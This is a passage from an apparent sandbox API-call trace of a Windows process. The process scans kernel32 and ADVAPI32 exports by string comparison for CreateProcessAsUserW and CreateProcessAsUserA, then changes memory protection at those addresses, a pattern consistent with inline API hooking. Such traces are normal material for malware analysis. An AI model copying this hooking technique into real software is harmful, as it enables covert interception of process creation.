lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessAsUserW") returned -1 [0070.659] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="Beep", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessAsUserW") returned -1 [0070.660] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessAsUserW") returned -1 [0070.661] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessAsUserW") returned -1 [0070.662] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessAsUserW") returned -1 [0070.663] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessAsUserW") returned 0 [0070.663] VirtualProtect (in: lpAddress=0x770e02f8, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2fede8 | out: lpflOldProtect=0x2fede8*=0x2) returned 1 [0070.663] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x22dedc0 [0070.663] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x22dede0 [0070.663] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dedc0 | out: hHeap=0x1ee0000) returned 1 [0070.663] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dede0 | out: hHeap=0x1ee0000) returned 1 [0070.663] VirtualProtect (in: lpAddress=0x770dbc1c, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x2fede0 | out: lpflOldProtect=0x2fede0*=0x20) returned 1 [0070.663] VirtualProtect (in: lpAddress=0x770dbc1c, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x2fede0 | out: lpflOldProtect=0x2fede0*=0x40) returned 1 [0070.664] VirtualProtect (in: lpAddress=0x770e02f8, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x2fede8 | out: lpflOldProtect=0x2fede8*=0x40) returned 1 [0070.664] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed80, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed80, ReturnLength=0x0) returned 0x0 [0070.664] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x7fefd710000 [0070.664] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dedc0 [0070.664] lstrcmpA (lpString1="A_SHAFinal", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="A_SHAInit", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="A_SHAUpdate", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AbortSystemShutdownA", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AbortSystemShutdownW", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheck", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheckAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheckAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheckByType", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheckByTypeResultList", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AddAccessAllowedAce", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AddAccessAllowedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AddAccessAllowedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AddAccessDeniedAce", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AddAccessDeniedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AddAccessDeniedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AddAce", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AddAuditAccessAce", lpString2="CreateProcessAsUserA") returned -1 [0070.664] lstrcmpA (lpString1="AddAuditAccessAceEx", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AddAuditAccessObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AddConditionalAce", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AddMandatoryAce", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AddUsersToEncryptedFile", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AddUsersToEncryptedFileEx", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AdjustTokenGroups", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AdjustTokenPrivileges", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AllocateAndInitializeSid", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AllocateLocallyUniqueId", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AreAllAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AreAnyAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditComputeEffectivePolicyBySid", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditComputeEffectivePolicyByToken", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditEnumerateCategories", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditEnumeratePerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditEnumerateSubCategories", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditFree", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditLookupCategoryGuidFromCategoryId", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditLookupCategoryIdFromCategoryGuid", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditLookupCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditLookupCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditLookupSubCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditLookupSubCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditQueryGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditQueryGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditQueryPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditQuerySecurity", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditQuerySystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditSetGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditSetGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditSetPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditSetSecurity", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="AuditSetSystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="BackupEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="BackupEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="BuildExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0070.665] lstrcmpA (lpString1="BuildExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildImpersonateTrusteeA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildImpersonateTrusteeW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildTrusteeWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildTrusteeWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildTrusteeWithSidA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="BuildTrusteeWithSidW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="CancelOverlappedAccess", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ChangeServiceConfig2A", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ChangeServiceConfig2W", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ChangeServiceConfigA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ChangeServiceConfigW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="CheckTokenMembership", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ClearEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ClearEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="CloseCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="CloseEncryptedFileRaw", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="CloseEventLog", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="CloseServiceHandle", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="CloseThreadWaitChainSession", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="CloseTrace", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="CommandLineFromMsiDescriptor", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ComputeAccessTokenFromCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ControlService", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ControlServiceExA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ControlServiceExW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ControlTraceA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ControlTraceW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0070.666] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessA", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedA", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedW", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessW", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA 